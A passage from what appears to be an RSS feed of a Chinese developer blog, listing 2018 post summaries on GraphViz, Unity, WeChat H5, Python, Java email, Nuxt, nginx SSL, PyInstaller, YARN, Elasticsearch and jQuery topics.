      <pubDate>Fri, 31 Aug 2018 13:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b16b98000b63a349ea42c885cb59c51a/</guid>
      <description> 背景说明：通过pip安装了GraphViz模块后，在对着sklearn的决策树文档操作输出决策树模型结果时，报错了:InvocationException: GraphViz’s executables not found 在网上找了一下，终于解决此问题，特此记录下来。 1、下载安装GraphViz（这是一个独立软件） https://graphviz.gitlab.io/_pages/Download/Download_windows.html 下载完后解压缩后，复制bin文件夹的路径。例如：&#xA;将GraphViz安装目录的bin目录放到环境变量的path路径中 windows下： 不过我手工在环境变量中添加了bin路径不行，还是运行下边这个语句好。&#xA;import os os.environ[&#34;PATH&#34;] += os.pathsep + &#39;C:/Program Files (x86)/Graphviz2.38/bin/&#39; #注意修改你的路径 </description>
    </item>
    <item>
      <title>unity UGUI 根据text中文本的长度改变text的大小</title>
      <link>https://bchobby.github.io/posts/e5b9fce2a5b51d8a9f4b7fc35e309303/</link>
      <pubDate>Fri, 31 Aug 2018 11:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5b9fce2a5b51d8a9f4b7fc35e309303/</guid>
      <description> 分享一个UGUI根据自动改变长度的，主要用在有滑动列表的里面，还有就是可以控制字体的大小。&#xA;其中 (str.Length / 10+1) * 16 10为一行可容纳的10个汉字。16为一行所占的高，自行测试你的字体。&#xA;有任何问题直接留言，看到会回复 QQ791719266 备注“CSDN text文本转换”&#xA;Text text; RectTransform recttrans; private void Start() { text = GetComponent&amp;lt;Text&amp;gt;(); recttrans = GetComponent&amp;lt;RectTransform&amp;gt;(); string str = text.text; Debug.Log(str.Length); recttrans.sizeDelta = new Vector2(recttrans.sizeDelta.x, (str.Length / 10+1) * 16); } </description>
    </item>
    <item>
      <title>IOS下的微信H5页面的底部前进后退横栏的适配问题</title>
      <link>https://bchobby.github.io/posts/2d7650cfa878cb0fa3c2f16e25eca7bd/</link>
      <pubDate>Thu, 30 Aug 2018 18:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d7650cfa878cb0fa3c2f16e25eca7bd/</guid>
      <description>Question：最近做一个在微信和支付宝内置浏览器中运行的移动web界面，前几个月ios微信更新之后，微信将后退的按钮移至了底部横栏，遮挡住了原先底部的操作按钮。由于之前的页面设计是整屏显示禁止触摸滚动效果的，就想着是不是可以隐藏微信内置的底部横栏。&#xA;Answer：&#xA;1. 经过查资料，很多人说可以调用Weixin为H5应用提供开放原生能力的JS接口来隐藏/显示底部的状态栏。代码如下：&#xA;document.addEventListener(&#39;WeixinJSBridgeReady&#39;, function onBridgeReady() { WeixinJSBridge.call(&#39;hideToolbar&#39;); // 隐藏底部状态栏 WeixinJSBridge.call(&#39;hideOptionMenu&#39;); // 隐藏右上角的三个点的选项 WeixinJSBridge.call(&#39;showToolbar&#39;); // 显示底部状态栏 WeixinJSBridge.call(&#39;showOptionMenu&#39;); // 显示右上角的三个点的选项 }); 但是实际使用过程中，发现无效，使用微信开发者工具调试，发现报错：“error：WeixinJSBridge.call方法无效”，在微信公众平台的企业微信中发现，该方法适用于企业微信，而在订阅号或者服务号的开发文档中暂未发现这个方法。&#xA;// 接口调用代码（JavaScript） --- from 微信公众平台-企业微信开发文档 function onBridgeReady(){ WeixinJSBridge.call(&#39;hideToolbar&#39;); } if (typeof WeixinJSBridge == &#34;undefined&#34;){ if( document.addEventListener ){ document.addEventListener(&#39;WeixinJSBridgeReady&#39;, onBridgeReady, false); }else if (document.attachEvent){ document.attachEvent(&#39;WeixinJSBridgeReady&#39;, onBridgeReady); document.attachEvent(&#39;onWeixinJSBridgeReady&#39;, onBridgeReady); } }else{ onBridgeReady(); } // 返回说明 // 隐藏底部导航栏没有返回值。（需要显示顶部导航栏，请把hideToolbar换成showToolbar） 2. 暂且将页面调整为可以滚动的状态==！！！目前没有看到合适的方法撒，于是，还是来个滚动条吧</description>
    </item>
    <item>
      <title>【Python】Python简体中文与转繁体中文互转</title>
      <link>https://bchobby.github.io/posts/6df75ce3f54b3735da385daeeafa47ec/</link>
      <pubDate>Thu, 30 Aug 2018 16:11:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6df75ce3f54b3735da385daeeafa47ec/</guid>
      <description>其实利用python实现汉字的简体和繁体相互转早有人做过,并发布到github上了,地址:https://github.com/skydark/nstools/tree/master/zhtools&#xA;该项目还有其他很多跟汉字相关的功能,本文只介绍繁体和简体相互转换&#xA;具体方法很简单,下载该项目中的 zh_wiki.py 和 langconv.py 两个文件,放到python代码目录下就可以了.&#xA;我的python是3.5版本,所以在字符串的decode上和python2.x 有所不同,demo:&#xA;from langconv import * import sys print(sys.version) print(sys.version_info) # 转换繁体到简体 def cht_to_chs(line): line = Converter(&#39;zh-hans&#39;).convert(line) line.encode(&#39;utf-8&#39;) return line # 转换简体到繁体 def chs_to_cht(line): line = Converter(&#39;zh-hant&#39;).convert(line) line.encode(&#39;utf-8&#39;) return line line_chs=&#39;&amp;lt;&amp;gt;123asdasd把中文字符串进行繁体和简体中文的转换&#39; line_cht=&#39;&amp;lt;&amp;gt;123asdasd把中文字符串進行繁體和簡體中文的轉換&#39; ret_chs = &#34;%s\n&#34;%cht_to_chs(line_cht) ret_cht = &#34;%s\n&#34;%chs_to_cht(line_chs) print(&#34;chs=&#39;%s&#39;&#34;,ret_cht) print(&#34;cht=&#39;%s&#39;&#34;,ret_cht) file = open(&#39;ret.txt&#39;,&#39;w&#39;,encoding=&#39;utf-8&#39;) file.write(ret_chs) file.write(ret_cht) file.close() ret.txt文件内容&#xA;&amp;lt;&amp;gt;123asdasd把中文字符串进行繁体和简体中文的转换 &amp;lt;&amp;gt;123asdasd把中文字符串進行繁體和簡體中文的轉換 转载自：https://www.jianshu.com/p/c3fd8629a0cc</description>
    </item>
    <item>
      <title>python3的urlretrieve（）方法的作用与使用（入门）</title>
      <link>https://bchobby.github.io/posts/a8084b5bd2ef6d6a1b951a7d5c0d918c/</link>
      <pubDate>Thu, 30 Aug 2018 15:52:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8084b5bd2ef6d6a1b951a7d5c0d918c/</guid>
      <description>python3中urllib.request模块提供的urlretrieve()函数。urlretrieve()方法直接将远程数据下载到本地。&#xA;urlretrieve(url, filename=None, reporthook=None, data=None)&#xA;参数url：下载链接地址参数filename：指定了保存本地路径（如果参数未指定，urllib会生成一个临时文件保存数据。）参数reporthook：是一个回调函数，当连接上服务器、以及相应的数据块传输完毕时会触发该回调，我们可以利用这个回调函数来显示当前的下载进度。参数data：指post导服务器的数据，该方法返回一个包含两个元素的(filename, headers) 元组，filename 表示保存到本地的路径，header表示服务器的响应头 将baidu的html抓取到本地，保存在&#39;&#39;./baidu.html&#34;文件中，同时显示下载的进度。&#xA;#!/usr/bin/env python # coding=utf-8 import os from urllib.request import urlretrieve def cbk(a,b,c): &#39;&#39;&#39;&#39;&#39;回调函数 @a:已经下载的数据块 @b:数据块的大小 @c:远程文件的大小 &#39;&#39;&#39; per=100.0*a*b/c if per&amp;gt;100: per=100 print(&#39;%.2f%%&#39; % per) url=&#39;http://www.baidu.com&#39; dir=os.path.abspath(&#39;.&#39;) work_path=os.path.join(dir,&#39;baidu.html&#39;) urlretrieve(url,work_path,cbk) 下面是urlretrieve()下载文件的实例，可以显示下载进度。&#xA;#!/usr/bin/env python # coding=utf-8 import os import urllib def cbk(a,b,c): &#39;&#39;&#39;回调函数 @a:已经下载的数据块 @b:数据块的大小 @c:远程文件的大小 &#39;&#39;&#39; per=100.0*a*b/c if per&amp;gt;100: per=100 print &#39;%.2f%%&#39; % per url=&#39;http://www.python.org/ftp/python/2.7.5/Python-2.7.5.tar.bz2&#39; dir=os.path.abspath(&#39;.&#39;) work_path=os.path.join(dir,&#39;Python-2.7.5.tar.bz2&#39;) urllib.urlretrieve(url,work_path,cbk) 复杂点可以参考https://blog.csdn.net/zzc15806/article/details/79636417，作者： zzc15806&#xA;下载cifar-10数据集为例，理解urlretrieve的用法</description>
    </item>
    <item>
      <title>Java Email 的简单使用</title>
      <link>https://bchobby.github.io/posts/f1e3cb326e33b85ff7913cd3014a6e68/</link>
      <pubDate>Wed, 29 Aug 2018 23:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1e3cb326e33b85ff7913cd3014a6e68/</guid>
      <description>其它：Spring 中 Environment 的用法&#xA;一、Commons-Email 的使用:&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;commons-email&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;1.4&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;/**&#xA;* 邮件信息类&#xA;* @author fmr&#xA;*/&#xA;public class EmailInfo {&#xA;//发件人&#xA;private String fromAddress;&#xA;//发件人昵称&#xA;private String fromNickName;&#xA;// 收件人&#xA;private List&amp;lt;String&amp;gt; toAddress = null;&#xA;// 抄送人地址&#xA;private List&amp;lt;String&amp;gt; ccAddress = null;&#xA;// 密送人&#xA;private List&amp;lt;String&amp;gt; bccAddress = null;&#xA;// 附件信息&#xA;private List&amp;lt;EmailAttachment&amp;gt; attachments = null;&#xA;// 邮件主题&#xA;private String subject;&#xA;// 邮件的文本内容&#xA;private String content;&#xA;}</description>
    </item>
    <item>
      <title>nuxt route 全局管理 route.beforeEach 替代</title>
      <link>https://bchobby.github.io/posts/33a8674b4c1aea6c03c7fd845d486800/</link>
      <pubDate>Wed, 29 Aug 2018 16:56:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33a8674b4c1aea6c03c7fd845d486800/</guid>
      <description>在使用nuxt之前，我们正常的route控制语法如下：&#xA;const route = new Router({ routes:{ [...] } }) route.beforeEach(to,from,next){ //进行路由权限校验等方法 } 而使用nuxt，路由默认会根据页面的路径规则自动生成，所以乍一看根本没有配置的地方，所以当我们想要使用类似beforeEach功能的时候，我们就需要自己定义一个小插件啦。步骤如下： 1、首先在plugins目录下创建文件route.js&#xA;export default ({ app }) =&amp;gt; { app.router.afterEach((to, from) =&amp;gt; { console.log(to.path) }) } 2、在nuxt.config.js中plugins数组增加&#39;~/plugins/route&#39; 这样就搞定啦。</description>
    </item>
    <item>
      <title>nginx 学习笔记（四）nginx &#43; lua 使用 ssl 验证 浏览器证书</title>
      <link>https://bchobby.github.io/posts/1350ab396d1be1dc68eb711b9684ccad/</link>
      <pubDate>Wed, 29 Aug 2018 15:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1350ab396d1be1dc68eb711b9684ccad/</guid>
      <description>开发十年，就只剩下这套Java开发体系了 &amp;gt;&amp;gt;&amp;gt; 场景：接着笔记（三）的鉴权，需要先调用第三方服务进行鉴权，第三方对应的浏览器需要导入证书，否则就会报400错误，只有当鉴权成功后才能往下进行反向代理，此处就不强调如何生成证书，如何生成证书可以自行百度，此文关注点在如何配置ssl，以及配置验证浏览器的证书后如何获取浏览器证书的信息。&#xA;笔记（一）中介绍的是nginx源码安装，此处介绍个Openresty安装。&#xA;Centos7安装Openresty通过yum安装&#xA;在 /etc/yum.repos.d/ 下新建 OpenResty.repo 内容&#xA;[openresty] name=Official OpenResty Repository baseurl=https://copr-be.cloud.fedoraproject.org/results/openresty/openresty/epel-$releasever-$basearch/ skip_if_unavailable=True gpgcheck=1 gpgkey=https://copr-be.cloud.fedoraproject.org/results/openresty/openresty/pubkey.gpg enabled=1 enabled_metadata=1 yum install openresty -y&#xA;默认会安装到 /usr/local/openresty/ 目录下, 目录下包含了 luajit, lualib, nginx, openssl, pcre, zlib 这些组件。&#xA;到此就安装好了，简单吧，比源码安装简单多了。&#xA;1、nginx 配置&#xA;# HTTPS server # server { listen 443 ssl; server_name proxy.ztns.com; ssl on; # 证书公钥 它会被发送到连接服务器的每个客户端 ssl_certificate /usr/local/openresty/nginx/conf/ssl/proxy.server.crt; # 私钥是用来解密的 ssl_certificate_key /usr/local/openresty/nginx/conf/ssl/proxy.server.key; # CA签发机构证书 ssl_client_certificate /usr/local/openresty/nginx/conf/ssl/ca.crt; # 开启浏览器证书验证 ssl_verify_client on; ssl_session_cache shared:SSL:1m; ssl_session_timeout 5m; ssl_ciphers HIGH:!</description>
    </item>
    <item>
      <title>Python中使用pyinstaller将pyqt所写的程序打包为exe文件</title>
      <link>https://bchobby.github.io/posts/b81d7c4434751b0da1ea05ecbc6bb2f7/</link>
      <pubDate>Wed, 29 Aug 2018 09:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b81d7c4434751b0da1ea05ecbc6bb2f7/</guid>
      <description>Python中使用pyinstaller将pyqt所写的程序打包为exe文件 前言 最近需要写一些小工具来辅助工作，其中一些想了想如果有一个简单的界面的话应该使用起来更方便一些，由于python的方便性，大概试了一下python中的几个常用的图形库，如wxPython与Tkinter等，通过比较，感觉还是pyqt做出来的界面美观性要强一些，而且可移植性较好。&#xA;在写完程序的大概之后，即在IDE里运行程序可以出现想要的界面了，现在的一个问题是，以后打开这些程序的时候，若要每次都要先打开IDE然后运行程序，这个过程未免太过繁琐，所以想要将所写的程序打包为exe文件，这样今后打开的时候会方便许多，在其它机器上工作的时候移植也要方便。&#xA;本文就主要介绍如何将用pyqt所写的程序打包为exe程序。&#xA;环境准备 1、 anaconda下2与3共存的方式与在3的环境中安装包的方法 在本次尝试中遇到了许多问题，其中绝大部分问题最后归论起来还是pyqt环境安装的有问题，所以在安装pyqt的过程中一定要注意。&#xA;我的python的版本为2.7，是用anaconda2安装的环境。但是pyqt5对于python2的支持并不好，我在多次尝试后，始终没有找到合适的安装方法，因此最后还是在python3的环境中进行的操作。但是，如果只是想要在程序中实现界面的话，2.7是没有任何问题的，这里只是在打包exe过程中遇到了问题。&#xA;简单说一下anaconda，anaconda是一种集成了大多数常用的库的python环境，对于python的安装来说是一种非常方便的方式，anaconda的2与3两个版本便对应着python的2与3。在anaconda中2是可以与3共存的，安装的方法也比较简单，我是先安装的2，在安装3的时候需要主要要装到2的envs这个文件夹中新建的文件夹，如C:\Users\xxx\Anaconda2\envs\python3，再有就是安装的时候在这个界面最好两个选项都不要打勾：&#xA;其余的基本一路默认就可以，安装完成之后，python3便可以作为一个独立的环境来进行使用了，在IDE中可以选择…/envs/python3这个文件夹下的python3的解释器，即调用了python3的环境。而在控制台中，默认的初始情况下，直接输入python，进入的是默认的python2.7的环境（因为之前的系统变量中为2.7的环境，而安装anaconda3的时候并没有修改系统变量），使用python3 的方法为输入语句activate python3（这里的python3即为上面envs里面新建的文件夹的名称），此时系统默认的python的环境即更改为了python3，此时的pip也会将包装到3的环境中。此时，若输入python则会进入python环境并显示目前的python版本为python3.6：&#xA;而这里的第二行的开头可以看到括号里的python3，这里说明默认环境已经更改到了python3。而之后的说明若无特殊说明均默认为在已经进入了默认python3的环境。&#xA;2、 配置SIP 我们要利用PyQt5来写界面，所需的一个依赖库便是sip，sip是RiverBank（也就是PyQt的开发商）开发的用于PyQt的Python/C++混合编程解决方案。SIP是一种工具，可以将Python与C和C++的库进行绑定，它包括代码生成器和python等模块，这使得Python等解释性编程环境可以开发现有的C或者C++的库。&#xA;在这里，sip属于python的一个依赖库，可以直接使用命令进行安装&#xA;pip install sip ###3、 配置PyQt5&#xA;接下来便就是主角PyQt5了，在python3中可以直接使用pip进行安装：&#xA;pip install PyQt5 当然这里第二步和第三步会出现许多错误，我在后面会提到。&#xA;###4、 配置pyinstaller&#xA;这里网上许多资料里都使用下载包然后安装的方式，但是我也是简单地采用了pip的方式进行的安装，并没有出现问题。&#xA;pip install pyinstaller 测试 这里是测试的时候用的代码，可以显示出一个简单的界面：&#xA;import sys from PyQt5 import QtCore, QtWidgets app = QtWidgets.QApplication(sys.argv) widget = QtWidgets.QWidget() widget.resize(320, 240) widget.setWindowTitle(&#34;Hello, PyQT!&#34;) widget.show() sys.exit(app.exec()) 将代码写完后将其保存为hello_PyQt.py文件。&#xA;之后打开控制台，输入activate python3将默认的python环境设置为python3，然后输入cd 路径进入刚刚的.py文件所在的路径：&#xA;然后输入pyinstaller -F -w hello_PyQt.py将代码打包为exe文件（可以在网上查询各种不同参数含义，这里的-F与-w分别为保存为一个文件与运行exe文件时不显示控制台）：&#xA;最后可以看见此时便保存成功了，在刚刚的路径中的多出来几个文件夹与文件，在build文件夹中可以查看pyinstaller运行时的一些信息，而在另一个dist文件夹中便有着hello_PyQt.exe文件了，即为我们需要的exe文件。此时运行该文件：&#xA;可以看到出现了我们代码中所实现的窗口，此时便运行成功。&#xA;过程中遇到的问题 1、 在配置sip时报错 在配置sip时报错：</description>
    </item>
    <item>
      <title>使用Groovy自定义解析表达式</title>
      <link>https://bchobby.github.io/posts/bbb195d480d6e0ad5d21ec03b7a9904b/</link>
      <pubDate>Tue, 28 Aug 2018 20:57:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbb195d480d6e0ad5d21ec03b7a9904b/</guid>
      <description>一、引入Groovy依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.codehaus.groovy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;groovy-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.4.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 二、自定义脚本 package com.epf.activiti.utils; import groovy.lang.Script; import java.lang.reflect.Method; /** * 自定义脚本 * @author GZEPF * @date 2018 2018年8月28日 下午7:56:15 */ public class ExprBasicScript extends Script { @Override public Object run() { //show usage Method[] methods = ExprBasicScript.class.getDeclaredMethods(); StringBuilder sb=new StringBuilder(); for (Method method : methods) { sb.append(method); } return sb.substring(0, sb.length()-1); } public static Object nvl(Object str, Object val) { return str == null || &#34;</description>
    </item>
    <item>
      <title>遵循这六点细则，机房设备维保安全稳定</title>
      <link>https://bchobby.github.io/posts/34c788dfdd7b11d23fb70b2ee8ce692c/</link>
      <pubDate>Mon, 27 Aug 2018 17:13:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34c788dfdd7b11d23fb70b2ee8ce692c/</guid>
      <description>机房是网络设备存放的地方，关系着网络系统的稳定。机房的网络设备需要经常维护保养，才能保证正常的用网需求，下面简要介绍机房网络设备保养的六点注意内容。&#xA;（机房）&#xA;对各个系统实施严格管理，现场设常驻维保人员，建立完整的值班制度和维修保养规则，值班人员应认真监测系统运行状况，随时记录异常情况，及时报修。&#xA;1、按国家有关规范和要求派专业人员对系统定期检查，测试，保养，维修，确保设备正常运行。&#xA;(1)对维保项目每周不低于1次进行检测。并填写巡查记录，发现故障及时排除或修复，并作为考核维保工作的依据。&#xA;(2)每月1次系统状态进行检查，每年12次。&#xA;(3)每季度不低于1次对维保项目进检测。如出现故障或问颗，要及时排除修复。&#xA;2、须提供24小时维保电话，24*365天随时接受业主的服务请求;接到业主服务请求后，现场驻地人员及时现场维护，若仍未解决，将会派专业工程师8小时内到达现场。&#xA;(1)维保技术人员对故障进行诊断后，按紧急程度不同划分，最迟在8小时内提交解决方案。&#xA;(2)维保技术人员到达现场后需持续工作直到设备正常运行，一般故障应当在24小时内修复;如需等待购买配件或因设备本身等原因不能及时修复的，要立即向业主报告，并采取相应的应急措施，在此期间，系统中断运行不得超过12小时。&#xA;(3)系统或设备修复后必须由乙方相关人员确认。&#xA;3、设备更换：维护保养过程中需购买、更换设备或配件的，应事先向业主报告，由业主代表签字确认后，方可进行维修或更换，此部分费用不在乙方范围。若乙方为了确保系统或设备正常运行，应急修复需立即更换设备或配件的，必须在事后及时向业主报告，更换后的损坏件应交由甲方查验。更换的设备(或器件)的型号参数不得低于原设备(或器件)型号参数，并记入设备维修(更换)记录单。&#xA;4、维保单位应向业主提交详细的工作计划与工作安排，对每次检修、保养工作要认真做好记录，并交业主相关人员签字。&#xA;5、维保单位应切实加强现场管理，确保安全生产，在检修保修中发生人身、设备及第三者事故，乙方不承担任何责任。&#xA;6、维保单位不得对相关信息进行查询、下载，不得泄露乙方工作秘密。维保单位工作人员进入业主单位展开维保工作，必须遵守业主的相关规章制度，服从业主单位的管理。&#xA;以上就是全部内容了，做好这六点可以让机房运行稳定，满足企业发展需求。</description>
    </item>
    <item>
      <title>YARN学习总结-第八节-YARN节点管理</title>
      <link>https://bchobby.github.io/posts/06464114180d4105b72cb34bf2608813/</link>
      <pubDate>Mon, 27 Aug 2018 16:04:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06464114180d4105b72cb34bf2608813/</guid>
      <description>NodeManager&#xA;NodeManager会执行健康检查，可以是检查磁盘或者任意用户指定的检查脚本，如果检查失败，则标记此节点为unhealthy并且报告给ResourceManager，然后停止分配容器到此节点。&#xA;磁盘检查&#xA;磁盘检查两个目录（local-dirs和log-dirs）分别由yarn.nodemanager.local-dirs和yarn.nodemanager.log-dirs指定，检查包括权限和磁盘空间剩余量。同时检查文件系统不是只读状态。默认检查间隔时间为2Min，如果磁盘检查失败，NodeManager停止使用那部分磁盘，仍旧报告节点状态为healthy。如果许多磁盘检查失败，检查的磁盘数量可以配置，则报告节点状态为unhealthy，并且新的容器不会被调度到这个节点上。&#xA;下面的配置参数可以用于修改磁盘检查：&#xA;yarn.nodemanager.disk-health-checker.enable:是否开启磁盘健康检查。&#xA;yarn.nodemanager.disk-health-checker.interval-ms:磁盘检查间隔。&#xA;yarn.nodemanager.disk-health-checker.min-healthy-disks：浮点数，0-1之间，默认为0.25，必须通过多少检查，才认为是healthy&#xA;yarn.nodemanager.disk-health-checker.max-disk-utilization-per-disk-percentage:浮点数，0-100之间，默认值为90，磁盘被标记为unhealthy之前的最大使用率。&#xA;yarn.nodemanager.disk-health-checker.min-free-space-per-disk-mb:默认值为0。&#xA;扩展检查脚本&#xA;用户可以指定自己的健康检查脚本，它会被健康检查服务调起。用户也可以指定一个超时时间。如果脚本以非0码退出，超时，或者结果抛出异常，则节点被标记为unhealthy。如果因为权限或者不正确的路径，脚本不能执行，它会被标记为失败。指定健康检查脚本是必须的。如果没有健康检查脚本，则只有磁盘检查，确定节点的状态。&#xA;可以通过下面的参数配置健康检查。&#xA;yarn.nodemanager.health-checker.interval-ms:检查间隔，单位为毫秒，默认值为10min&#xA;yarn.nodemanager.health-checker.script-timeout-ms：健康检查脚本的超时时间，默认为20min&#xA;yarn.nodemanager.health-checker.script.path：脚本路径&#xA;yarn.nodemanager.health-checker.script.opts：脚本选项。&#xA;NodeManager Restart&#xA;在不丢失已经运行的激活的容器重启NodeManager。默认，NM存储必要的state在一个local state-store。当NM重启时，它会加载这些文件，然后进行恢复。&#xA;Step 1.开启NM Restart 功能：&#xA;yarn.nodemanager.recovery.enabled&#xA;Step 2.配置NM存储状态文件的本地目录&#xA;yarn.nodemanager.recovery.dir:默认值为$hadoop.tmp.dir/yarn-nm-recovery&#xA;Step 3.配置一个对于NodeManager合法的RPC地址&#xA;yarn.nodemanager.address:&#xA;Step 4. Auxilliary services&#xA;在YARN集群中，NodeManager可以被配置为运行auxilliary services，对于一个完整功能的NM restart，YARN依赖任何辅助服务支持恢复。&#xA;一个简单的例子是ShuffleHandler for MapReduce。&#xA;Auxiliary Service Classpath Isolation&#xA;如果需要运行辅助服务，系统管理员需要把jar包直接放置到NodeManager的类路径。如果存在多版本，则无法控制哪个版本会被加载。如果辅助服务和节点管理器存在依赖冲突，则会使辅助服务和节点管理器同时崩溃。为了解决这个问题，我们可以设置辅助服务使用单独的类路径。&#xA;在yarn-site.xml中配置下列选项。&#xA;yarn.nodemanager.aux-services.%s.classpath:指定本地jar和依赖jar的目录&#xA;yarn.nodemanager.aux-services.%s.remote-classpath:指定远程jar和依赖jar的目录&#xA;yarn.nodemanager.aux-service.%s.system-classes:&#xA;配置案例：&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.nodemanager.aux-services&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;mapreduce_shuffle,CustomAuxService&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.nodemanager.aux-services.CustomAuxService.classpath&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;${local_dir_to_jar}/CustomAuxService.jar&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.nodemanager.aux-services.CustomAuxService.remote-classpath&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;${remote-dir_to_jar}/CustomAuxService.jar&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.nodemanager.aux-services.CustomAuxService.class&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;org.aux.CustomAuxService&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.</description>
    </item>
    <item>
      <title>掌握 analyze API，搞定分词难题</title>
      <link>https://bchobby.github.io/posts/28862a056382d2b44739efe7b00192c3/</link>
      <pubDate>Mon, 27 Aug 2018 08:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28862a056382d2b44739efe7b00192c3/</guid>
      <description>初次接触Elasticsearch的同学经常会遇到分词相关的难题，比如如下这些场景：&#xA;1.为什么命名有包含搜索关键词的文档，但结果里面就没有相关文档呢?&#xA;2.我存进去的文档到底被分成哪些词(term)了?&#xA;3.我得自定义分词规则，但感觉好麻烦呢，无从下手&#xA;如果你遇到过类似的问题，希望本文可以解决你的疑惑。&#xA;1.上手&#xA;让我们从一个实例出发，如下创建一个文档：&#xA;PUT test/doc/1&#xA;{&#xA;msg:Eating an apple a day keeps doctor away&#xA;}&#xA;然后我们做一个查询，我们试图通过搜索eat这个关键词来搜索这个文档&#xA;POST test/_search&#xA;{&#xA;query:{&#xA;match:{&#xA;msg:eat&#xA;}&#xA;}&#xA;}&#xA;ES的返回结果为0。这不太对啊，我们用最基本的字符串查找也应该能匹配到上面新建的文档才对啊!&#xA;各位不要急，我们先来看看什么是分词。&#xA;2.分词&#xA;搜索引擎的核心是倒排索引(这里不展开讲)，而倒排索引的基础就是分词。所谓分词可以简单理解为将一个完整的句子切割为一个个单词的过程。在 es 中单词对应英文为term。我们简单看个例子：&#xA;ES 的倒排索引即是根据分词后的单词创建，即我、爱、北京、天安门这4个单词。这也意味着你在搜索的时候也只能搜索这4个单词才能命中该文档。&#xA;实际上 ES 的分词不仅仅发生在文档创建的时候，也发生在搜索的时候，如下图所示：&#xA;读时分词发生在用户查询时，ES 会即时地对用户输入的关键词进行分词，分词结果只存在内存中，当查询结束时，分词结果也会随即消失。而写时分词发生在文档写入时，ES 会对文档进行分词后，将结果存入倒排索引，该部分最终会以文件的形式存储于磁盘上，不会因查询结束或者 ES 重启而丢失。&#xA;ES 中处理分词的部分被称作分词器，英文是Analyzer，它决定了分词的规则。ES 自带了很多默认的分词器，比如Standard、Keyword、Whitespace等等，默认是Standard。当我们在读时或者写时分词时可以指定要使用的分词器。&#xA;3.写时分词结果&#xA;回到上手阶段，我们来看下写入的文档最终分词结果是什么。通过如下 api 可以查看：&#xA;POST test/_analyze&#xA;{&#xA;field: msg,&#xA;text: Eating an apple a day keeps doctor away&#xA;}&#xA;其中test为索引名，_analyze为查看分词结果的endpoint，请求体中field为要查看的字段名，text为具体值。该 api 的作用就是请告诉我在 test 索引使用 msg 字段存储一段文本时，es 会如何分词。</description>
    </item>
    <item>
      <title>dedecms发布文章报错 Unknown column &#39;voteid&#39; in &#39;field list&#39;</title>
      <link>https://bchobby.github.io/posts/06039e273abe328a264d1ed6b19560ea/</link>
      <pubDate>Sun, 26 Aug 2018 16:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06039e273abe328a264d1ed6b19560ea/</guid>
      <description> 在dedecms发布文章的时候，偶然遇到以下问题，看提示明显是数据库问题，运行一个SQL语句轻松解决&#xA;ALTER TABLE `#@__archives` ADD COLUMN `voteid` int(10) NOT NULL DEFAULT 0 AFTER `mtype`; </description>
    </item>
    <item>
      <title>$.ajax() 详细参数</title>
      <link>https://bchobby.github.io/posts/7a4ee462b42e87fa0f845c45f6b21055/</link>
      <pubDate>Sun, 26 Aug 2018 14:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a4ee462b42e87fa0f845c45f6b21055/</guid>
      <description>1.url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。&#xA;2.type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和delete也可以使用，但仅部分浏览器支持。&#xA;3.timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局设置。&#xA;4.async: 要求为Boolean类型的参数，默认设置为true，所有请求均为异步请求。如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等待请求完成才可以执行。&#xA;5.cache: 要求为Boolean类型的参数，默认为true（当dataType为script时，默认为false），设置为false将不会从浏览器缓存中加载请求信息。&#xA;6.data: 要求为Object或String类型的参数，发送到服务器的数据。如果已经不是字符串，将自动转换为字符串格式。get请求中将附加在url后。防止这种自动转换，可以查看　processData选项。对象必须为key/value格式，例如{foo1:&#34;bar1&#34;,foo2:&#34;bar2&#34;}转换为&amp;amp;foo1=bar1&amp;amp;foo2=bar2。如果是数组，JQuery将自动为不同值对应同一个名称。例如{foo:[&#34;bar1&#34;,&#34;bar2&#34;]}转换为&amp;amp;foo=bar1&amp;amp;foo=bar2。&#xA;7.dataType: 